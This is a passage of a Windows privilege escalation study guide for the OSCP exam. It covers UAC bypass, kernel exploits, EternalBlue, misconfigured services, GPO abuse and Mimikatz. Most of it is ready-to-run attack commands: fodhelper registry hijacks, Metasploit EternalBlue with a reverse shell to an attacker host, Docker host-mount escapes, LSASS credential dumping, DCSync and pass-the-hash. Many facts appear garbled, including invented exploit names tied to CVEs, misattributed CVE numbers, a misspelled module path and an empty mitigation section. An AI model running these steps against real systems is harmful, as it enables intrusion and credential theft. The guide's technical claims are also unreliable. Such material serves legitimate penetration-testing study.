What It Checks |
| User |
Current user, groups, privileges |
| OS |
Version, architecture, patches |
| Network |
Config, connections, firewall |
| Software |
Installed programs, versions |
| Services |
Permissions, paths, accounts |
| Scheduled Tasks |
Permissions, accounts |
| Registry |
Autoruns, permissions |
| Files |
Writable files, sensitive files |
| Tokens |
Available tokens |
| Hotfixes |
Missing patches |
| AntiVirus |
Installed AV products |
| Cloud |
AWS/Azure/GCP credentials |
| Containers |
Docker, Kubernetes |
Key Output Sections
[+] User
- Current user and groups
- Interesting privileges
[+] OS
- Version and build
- Architecture
[+] Hotfixes
- Installed patches
- Missing critical patches
[+] Interesting Files
- Writable files
- Credential files
- Config files with passwords
[+] Services
- Writable service binaries
- Unquoted service paths
- Services running as SYSTEM
[+] Scheduled Tasks
- Tasks running as SYSTEM
- Writable task actions
[+] Environment Variables
- Writable PATH directories
Interpreting Results
# Look for these indicators:
# [!] - Warning/Potential vulnerability
# [+] - Information found
# [-] - Nothing found
# Priority findings:
# 1. Missing critical patches
# 2. Writable service binaries
# 3. Unquoted service paths
# 4. AlwaysInstallElevated enabled
# 5. Writable PATH directories
# 6. Credential files in plain text
Comparison: PowerUp vs WinPEAS
| Feature |
PowerUp |
WinPEAS |
| Language |
PowerShell |
C# / Executable |
| Detection |
Deep service analysis |
Broad enumeration |
| Exploitation |
Built-in exploit functions |
Enumeration only |
| Stealth |
Noisy (PowerShell) |
Quieter |
| Dependencies |
PowerShell 3.0+ |
None |
| Best For |
Exploitation |
Initial enumeration |
15. Bypassing UAC
Concept
- UAC (User Account Control) filters admin tokens
- An admin user has two tokens: filtered and elevated
- UAC bypass techniques access the elevated token
- Required when you are admin but not elevated
UAC Bypass Methods
| Method |
CVE/Technique |
Affected Systems |
fodhelper.exe |
CVE-2017-8499 |
Win 10 1607-1803 |
regsvr32.exe |
UACME technique |
Win 7 - Win 10 |
mshta.exe |
UACME technique |
Win 7 - Win 10 |
cmstp.exe |
CVE-2019-1388 |
Win 7 - Win 10 |
control.exe |
UACME technique |
Win 7 - Win 10 |
installutil.exe |
UACME technique |
Win 7 - Win 10 |
slui.exe |
UACME technique |
Win 10 |
mmc.exe |
UACME technique |
Win 7 - Win 10 |
Using UACME (WinUACME)
# Download from: https://github.com/hfiref0x/UACME
# List available bypasses
.\WinUACME.exe
# Use a specific bypass
.\WinUACME.exe -t <technique_number>
# Example: fodhelper bypass
.\WinUACME.exe -t 3
use exploit/windows/local/bypass_uac
set SESSION 1
set UAC_METHOD 1
run
# Or use the post module
use post/windows/escalate/bypassuac
set SESSION 1
run
Manual fodhelper Bypass
# Step 1: Create registry key
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "DelegateExecute" /d "" /f
# Step 2: Add payload command
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "C:\temp\shell.exe" /f
# Step 3: Trigger fodhelper
start procmon64.exe
# fodhelper will execute your command with elevated privileges
# Step 4: Clean up
reg delete "HKCU\Software\Classes\ms-settings" /f
Mermaid: UAC Bypass Flow
graph TD
A[Admin - Filtered Token] --> B{UAC Enabled?}
B -->|Yes| C[UAC Bypass Needed]
B -->|No| D[Already Elevated]
C --> E[Choose Bypass Method]
E --> F[fodhelper / regsvr32 / mshta]
F --> G[Trigger Trusted Binary]
G --> H[Trusted Binary Executes Payload]
H --> I[Elevated Token Obtained]
I --> J[Full Admin Access]
Mitigation
- Keep Windows updated
- Enable “Admin Approval Mode”
- Restrict binary allowed to trigger COM
- Use Virtualization-Based Protection (VBP)
16. Kernel Exploits
Concept
- Kernel exploits target vulnerabilities in the Windows kernel
- Successful exploitation grants SYSTEM-level access
- High risk of system crash (BSOD)
- Requires matching OS version and build
Finding Kernel Exploits
| Resource |
URL |
Description |
| Windows-Exploits |
github.com/SecWiki/windows-kernel-exploits |
Curated collection |
| ExploitDB |
exploit-db.com |
Search by OS version |
| 0day.today |
0day.today |
Automated exploit DB |
| FuzzySec |
youtube.com/c/FuzzySec |
Tutorial videos |
Common Kernel Exploits
| CVE |
Name |
Affected Systems |
| CVE-2021-1676 |
PrintNightmare |
Win 10/11, Server 2012+ |
| CVE-2020-1048 |
Service Thread Hijacking |
Win 10 1903/1909 |
| CVE-2019-1458 |
Mayhem |
Win 10 1903 |
| CVE-2019-1322 |
Dirty Storm |
Win 10 1809 |
| CVE-2018-8120 |
TrackPopupMenuWin32k |
Win 7/8.1, Server 2008/2012 |
| CVE-2017-8462 |
AskJeebus |
Win 10 1607 |
| CVE-2017-0213 |
SweetPotato variant |
Win 7/8.1, Server 2008/2012 |
| CVE-2016-3309 |
SweetBabyRabbit |
Win 7/8.1, Server 2008/2012 |
| CVE-2015-1701 |
CodeBlue2 |
Win 7/8.1, Server 2008/2012 |
| CVE-2014-4113 |
Happy2SeeU |
Win 7/8.1, Server 2008/2012 |
| CVE-2012-4130 |
JoyCat |
Win 7/8, Server 2008/2012 |
| CVE-2010-3971 |
HappyLand |
Win 7, Server 2008 R2 |
Exploitation Process
# Step 1: Identify exact OS version
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
# Step 2: Check installed hotfixes
wmic qfe get HotFixID
# Step 3: Search for matching exploit
# Use OS version + build number to find exploit
# Step 4: Compile/download exploit
# Many exploits need compilation with Visual Studio or MinGW
# Step 5: Upload and execute
.\exploit.exe
Using ExploitSuggester
# On your attack machine
# 1. Get systeminfo output from target
systeminfo > systeminfo.txt
# 2. Run ExploitSuggester
python3 exploit-suggester.py --systeminfo systeminfo.txt
# 3. Review suggested exploits
# 4. Download and test
Mermaid: Kernel Exploit Selection
graph TD
A[Get OS Version] --> B[systeminfo]
B --> C[Get Hotfixes]
C --> D[wmic qfe get HotFixID]
D --> E[ExploitSuggester]
E --> F{Exploit Available?}
F -->|Yes| G[Check Reliability]
F -->|No| H[No Kernel Path]
G --> I{Stable Exploit?}
I -->|Yes| J[Download/Compile]
I -->|No| K[Risk of BSOD]
J --> L[Upload to Target]
L --> M[Execute]
M --> N{Success?}
N -->|Yes| O[SYSTEM Shell]
N -->|BSOD| P[System Reboot]
P --> Q[Retry or Try Other]
Mitigation
- Keep Windows fully patched
- Use exploit protection features
- Enable Kernel DMA Protection
- Use Credential Guard
17. EternalBlue and MS17-010
Concept
- EternalBlue exploits a vulnerability in SMBv1
- MS17-010 is the Microsoft security bulletin
- Allows remote code execution without authentication
- One of the most famous Windows exploits
Affected Systems
| OS |
Affected |
| Windows XP |
SP2, SP3 |
| Windows Server 2003 |
SP2 |
| Windows Vista |
SP2 |
| Windows 7 |
SP1 |
| Windows 8 |
All |
| Windows 8.1 |
All |
| Windows Server 2008 |
SP2, SP1 |
| Windows Server 2008 R2 |
SP1 |
| Windows Server 2012 |
All |
| Windows Server 2012 R2 |
All |
Detection
# On target (if you have access)
wmic qfe get HotFixID | findstr "KB4012598"
# If nothing returned, likely vulnerable
# From attacker machine
# Using Nmap
nmap --script smb-vuln-ms17-010 -p 445 <target_ip>
# Using Metasploit
use auxiliary/scanner/smb/smb_ms17_17-010
set RHOSTS <target_ip>
run
# Using CrackMapExec
crackmapexec smb <target_ip> --shares
# Method 1: EternalBlue + EternalRomance
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <target_ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker_ip>
set LPORT 4444
run
# Method 2: EternalBlue + DoublePulsar
use exploit/windows/smb/ms17_010_psexec
set RHOSTS <target_ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker_ip>
set LPORT 4444
run
Exploitation via Scripts
# Using eternalblue-exploit (Python)
# https://github.com/dirkjanm/CVE-2017-0144
# Using SE-Extractor + DoublePulsar
# https://github.com/jm33-m0/SE-Extractor
# Using Windows Exploit Suggester
python3 eternalblue.py <target_ip> <attacker_ip>
Mermaid: EternalBlue Attack Flow
sequenceDiagram
participant A as Attacker
participant T as Target
participant S as SMB Service
A->>T: Connect to port 445
T->>S: SMB Request
A->>S: Malformed SMB Packet (EternalBlue)
S->>S: Buffer Overflow in Kernel
S->>A: Execute Shellcode
A->>T: Upload DoublePulsar Backdoor
T-->>A: Meterpreter Session as SYSTEM
Mitigation
18. Abusing Windows Features
18.1 IIS Misconfigurations
Concept
- IIS (Internet Information Services) can store credentials
- Misconfigurations expose sensitive data
- ApplicationPoolIdentity can be abused
Enumeration
# Check if IIS is installed
Get-WindowsFeature Web-Server
# Find IIS configuration files
dir C:\inetpub\ -Recurse
# Check applicationHost.config for credentials
type C:\Windows\System32\inetsrv\config\applicationHost.config
# Look for connectionStrings and appSettings
Select-String -Path "C:\inetpub\www.root\*\web.config" -Pattern "password|connectionString"
# Check IIS logs
dir C:\inetpub\logs\
# Via PowerUp
Get-ApplicationHostConfig
Get-SiteListPassword
Common IIS Vulnerabilities
| Vulnerability |
Description |
| Weak app pool credentials |
Stored in applicationHost.config |
| Writable web.config |
Can inject malicious config |
| Directory traversal |
Access files outside web root |
| Web shell upload |
Upload and execute malicious files |
| Connection strings |
Database credentials in config |
Mitigation
- Remove credentials from config files
- Use Windows Authentication
- Restrict IIS file permissions
- Regular config audits
Concept
- SNMP uses community strings for authentication
- Default strings are often unchanged
public (read) and private (write) are defaults
- Can expose system information or credentials
Enumeration
# Check if SNMP is installed
Get-WindowsFeature SNMP-Service
# Check SNMP config in Registry
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities"
# Via PowerShell
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities" |
Get-ItemProperty
# Check community strings
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities" /s
Exploitation
# From attacker machine
# Use snmpwalk to enumerate
snmpwalk -v 2c -c public <target_ip>
# Look for:
# - System info (1.3.6.1.2.1.1)
# - Running processes (1.3.6.1.2.1.25.1.6)
# - User accounts
# - Installed software
# Use snmp-check
snmp-check -t <target_ip> -c public
Mitigation
- Change default community strings
- Disable SNMP if not needed
- Use SNMPv3 with authentication
- Restrict SNMP access by IP
18.3 Docker Containers
Concept
- Docker on Windows can be misconfigured
- Unauthenticated Docker socket access
- Privileged containers escape to host
Enumeration
# Check if Docker is installed
docker --version
# Check Docker info
docker info
# List running containers
docker ps
# Check for unauthenticated access
# If you can run docker commands without auth, you can escape
# Escape to host
docker run -it --rm -v C:/:/host windows-image cmd
Exploitation
# Method 1: Mount host filesystem
docker run -v C:\:/mnt -it --rm mcr.microsoft.com/windows:latest cmd
# Now you have access to the entire host filesystem
# Method 2: Privileged container
docker run --privileged -it --rm mcr.microsoft.com/windows:latest cmd
# Method 3: Run as host process
docker run -it --rm --security-opt seccomp=unconfined mcr.microsoft.com/windows:latest cmd
Mitigation
- Secure Docker socket
- Use Docker authentication
- Avoid privileged containers
- Implement container security policies
Concept
- VMware Tools installs a shared folder service
- The
HGFS (Host Guest File System) can be abused
- If accessible, you can read/write host files
Enumeration
# Check if VMware Tools is installed
Get-Service | Where-Object {$_.Name -like "*VMware*"}
# Check for shared folders
dir \\.\hostshared\
# Check VMware registry settings
reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
# Check for .vmwareDnD and .vmwareHgfs
dir C:\Windows\System32\drivers\hgfs.sys
Exploitation
# Access shared folders
dir \\.\hostshared\
# If you can write to shared folders:
# Copy payload to shared folder
copy "C:\temp\shell.exe" "\\.\hostshared\shell.exe"
# The host can access this file
Mitigation
- Disable shared folders if not needed
- Restrict VMware Tools permissions
- Use VMware security best practices
19. GPO-Based Escalation
Concept
- Group Policy Objects (GPOs) configure domain settings
- Misconfigured GPOs can grant excessive permissions
- Authenticated users may have GPO edit rights
- GPOs can deploy scripts, software, and preferences
Enumeration
# Check if machine is domain-joined
systeminfo | findstr /B /C:"Domain"
# List applied GPOs
gpresult /r
# Detailed GPO report
gpresult /h gpo_report.html
# Via PowerShell
Get-GPOReport -All -ReportType HTML -Path "C:\temp\gpo_report.html"
# Check GPO permissions
Get-GPO -All | ForEach-Object {
$gpo = $_
$dsa = [System.DirectoryServices.DirectoryEntry]
$path = "LDAP://$($gpo.Path)"
$entry = New-Object $dsa $path
$acl = Get-Acl -AclObject $entry
$acl.Access | Where-Object {
$_.AccessControlType -eq 'Allow' -and
$_.IdentityReference -like '*Authenticated Users*'
}
}
# Check for GPOs with authenticated users write access
# Using GPOZaurr or similar tools
GPO Attack Vectors
| Vector |
Description |
Risk Level |
| GPO Write Access |
Modify GPO to add admin |
Critical |
| Preferred Execution |
GPO deploys scripts as SYSTEM |
High |
| Drive Maps |
GPO maps drives with credentials |
High |
| Scheduled Tasks |
GPO creates scheduled tasks |
High |
| Service Config |
GPO configures services |
Medium |
| Registry Changes |
GPO modifies registry |
Medium |
Exploitation: GPO Write Access
# Step 1: Find GPO you can modify
# Step 2: Add yourself to Administrators via GPO
# Step 3: Force GPO update on target
# Step 4: Gain admin access
# Using Group Policy Preferences
# Edit GPO to add a local admin user
# The GPO deploys with SYSTEM privileges
Exploitation: Group Policy Preferences (ms14-025)
# Group Policy Preferences stored passwords in XML
# These passwords are encrypted with a known key
# The key is publicly known:
# 4e9906e8fcb6629b9daeb69d3296d61
# Find XML files with passwords
dir C:\Windows\SYSVOL\domain\Policies\ -Recurse -Filter "*.xml"
# Look for:
# - Groups.xml
# - Services.xml
# - Scheduledtasks.xml
# - Drives.xml
# - Printers.xml
# - Registry.xml
# Decrypt the password
# Use gpp-decrypt tool or Python script
Mermaid: GPO Escalation Flow
graph TD
A[Domain User] --> B[gpresult /r]
B --> C[List Applied GPOs]
C --> D{GPO Write Access?}
D -->|Yes| E[Modify GPO]
D -->|No| F{GPP Passwords?}
E --> G[Add Admin User]
G --> H[Force GPO Update]
H --> I[Domain Admin Access]
F -->|Yes| J[Decrypt Password]
J --> K[Use Credentials]
F -->|No| L[Other Vectors]
Mitigation
- Restrict GPO edit permissions
- Remove Authenticated Users write access
- Disable Group Policy Preferences passwords
- Regular GPO audits
- Use LAPS for local admin passwords
20. Mimikatz Credential Dumping
Overview
Mimikatz is the most powerful credential dumping tool for Windows.
Download and Basic Usage
# Download from: https://github.com/gentilkiwi/mimikatz
# Run as Administrator or SYSTEM
.\mimikatz.exe
# Basic commands
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # kerberos::list
mimikatz # lsadump::sam
Key Mimikatz Commands
| Command |
Description |
Output |
privilege::debug |
Enable debug privilege |
Required for most operations |
sekurlsa::logonpasswords |
Dump LSASS memory |
Passwords, NTLM hashes, Kerberos tickets |
sekurlsa::wdigest |
Dump WDigest credentials |
Plaintext passwords |
sekurlsa::kerberos |
Dump Kerberos tickets |
TGT, TGS tickets |
sekurlsa::tickets |
List all tickets |
Ticket details |
kerberos::list |
List Kerberos tickets |
Ticket info |
lsadump::sam |
Dump SAM database |
Local account hashes |
lsadump::secrets |
Dump LSA secrets |
Stored credentials |
lsadump::dcsync |
DCSync attack |
Domain controller hashes |
token::elevate |
Elevate token |
Higher privilege token |
vault::cred |
Dump Windows Vault |
Saved credentials |
dpapi::cred |
Dump DPAPI credentials |
Browser passwords, etc. |
Credential Dumping Workflow
# Step 1: Start Mimikatz
.\mimikatz.exe
# Step 2: Enable privileges
privilege::debug
# Step 3: Dump credentials
sekurlsa::logonpasswords
# Step 4: Look for:
# - Username
# - Password (plaintext)
# - NTLM hash
# - Kerberos ticket
# Step 5: Use credentials for lateral movement
# Pass the Hash:
sekurlsa::pth /user:Administrator /domain:CORP /ntlm:<ntlm_hash>
# Overpass the Hash:
kerberos::golden /user:Administrator /domain:corp.local /sid:<domain_sid> /krbtgt:<krbtgt_hash>
DCSync Attack
# Requires: Replicating Directory Changes permission
# Usually held by Domain Admins and Enterprise Admins
# Extract domain SID and krbtgt hash
lsadump::dcsync /domain:corp.local /user:corp\krbtgt
# Extract specific user hash
lsadump::dcsync /domain:corp.local /user:corp\Administrator
Pass the Hash
# Using Mimikatz
sekurlsa::pth /user:Administrator /domain:CORP /ntlm:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
# Using CrackMapExec
crackmapexec smb <target> -u Administrator -H <ntlm_hash>
# Using Impacket
psexec.py CORP/Administrator@<target> -hashes :<ntlm_hash>
Mermaid: Mimikatz Attack Chain
graph TD
A[Initial Access] --> B[Get Admin/SYSTEM]
B --> C[Run Mimikatz]
C --> D[privilege::debug]
D --> E[sekurlsa::logonpasswords]
E --> F{Credentials Found?}
F -->|Passwords| G[Use for Lateral Movement]
F -->|NTLM Hashes| H[Pass the Hash]
F -->|Kerberos Tickets| I[Ticket Injection]
F -->|KRBTGT Hash| J[Golden Ticket]
G --> K[Domain Admin]
H --> K
I --> K
J --> K
Bypassing Credential Guard
# Credential Guard protects LSASS memory
# Bypass methods:
# Method 1: Dump LSASS directly
sekurlsa::minidump /path/to/dump.dmp
sekurlsa::logonpasswords
# Method 2: Use alternative credential stores
vault::cred
dpapi::cred
# Method 3: Live dump of LSASS
# From another process with access
Mitigation
- Enable Credential Guard
- Enable LSA Protection
- Restrict
SeDebugPrivilege
- Use virtualized LSASS
- Regular credential rotation
- Monitor for Mimikatz execution
Quick Reference: Privilege Escalation Checklist
Initial Enumeration (First 5 Minutes)
whoami /all
systeminfo
ipconfig /all
net user
net localgroup Administrators
net share
tasklist /v
netstat -ano
Automated Enumeration
# PowerUp
Import-Module .\PowerUp.ps1
Invoke-AllChecks
# WinPEAS
.\winPEAS.exe
Common Exploitation Paths
| Finding |
Tool/Command |
Expected Result |
| Writable service |
Invoke-ServiceAbuse |
SYSTEM shell |
| Unquoted path |
Create .exe in path |
SYSTEM shell |
| AlwaysInstallElevated |
msiexec /i shell.msi |
SYSTEM shell |
| PATH hijack |
Place .exe in PATH dir |
Elevated shell |
| DLL hijack |
Place .dll in search path |
Elevated shell |
| SeImpersonate |
PrintSpoofer / RoguePotato |
SYSTEM shell |
| Missing patch |
Kernel exploit |
SYSTEM shell |
| GPO write access |
Modify GPO |
Domain Admin |
| LSASS access |
Mimikatz |
Credentials |
Mermaid: Complete Privesc Decision Tree
graph TD
A[Low Priv Shell] --> B[whoami /all]
B --> C{In Admin Group?}
C -->|Yes| D[UAC Bypass]
C -->|No| E[Invoke-AllChecks]
D --> F[Elevated Admin Shell]
E --> G{Service Vuln?}
G -->|Yes| H[Exploit Service]
G -->|No| I{Token Abuse?}
H --> J[SYSTEM Shell]
I -->|Yes| K[PrintSpoofer/RoguePotato]
I -->|No| L{Kernel Exploit?}
K --> J
L -->|Yes| M[Run Kernel Exploit]
L -->|No| N{DLL/PATH Hijack?}
M --> J
N -->|Yes| O[Create Malicious Binary]
N -->|No| P[GPO/Domain Attack]
O --> J
P --> Q[Domain Admin]
| Tool |
Purpose |
Source |
| PowerUp.ps1 |
All-in-one privesc |
PowerShellMafia/PowerSploit |
| WinPEAS |
Comprehensive enumeration |
carlospolop/PEASS-ng |
| Mimikatz |
Credential dumping |
gentilkiwi/mimikatz |
| PrintSpoofer |
Token impersonation |
itm4n/PrintSpoofer |
| RoguePotato |
Token impersonation |
antonioCoco/RoguePotato |
| JuicyPotato |
COM impersonation |
ohpe/juicy-potato |
| AccessChk |
Permission auditing |
Sysinternals |
| UACME |
UAC bypass |
hfiref0x/UACME |
| Incognito |
Token manipulation |
CraigAtherton |
| ExploitSuggester |
Exploit matching |
GTFOBins/exploit-suggester |
| CrackMapExec |
Lateral movement |
byt3bl33d/CrackMapExec |
| Impacket |
Protocol tools |
SecureAuthCorp/impacket |
Sysinternals Suite
| Tool |
Purpose |
accesschk.exe |
Check file/registry/service permissions |
accessenum.exe |
Enumerate all accessible resources |
autoruns.exe |
View all auto-running programs |
procmon.exe |
Monitor file/registry activity |
psinfo.exe |
System information |
psloggedon.exe |
View logged-on users |
psexec.exe |
Remote process execution |
handle.exe |
View file handles |
strings.exe |
Extract strings from binaries |
Exam Tips
Time Management
- Spend max 15 minutes on enumeration
- Use automated tools first (PowerUp, WinPEAS)
- Focus on the easiest win first
- Don’t spend hours on kernel exploits unless necessary
Common OSCP Windows Boxes
| Difficulty |
Typical Vector |
| Easy |
Unquoted service path, AlwaysInstallElevated |
| Medium |
Writable service, PATH hijack, DLL hijack |
| Hard |
Token manipulation, GPO abuse, kernel exploit |
| Insane |
Chained vulnerabilities, custom exploits |
Do’s and Don’ts
| Do |
Don’t |
| Document everything |
Skip enumeration |
| Use PowerUp/WinPEAS first |
Jump straight to exploits |
| Check service permissions |
Ignore scheduled tasks |
| Try PrintSpoofer early |
Rely only on Metasploit |
| Save outputs for report |
Forget to capture evidence |
| Think laterally |
Tunnel vision on one vector |
References
End of Windows Privilege Escalation Study Guide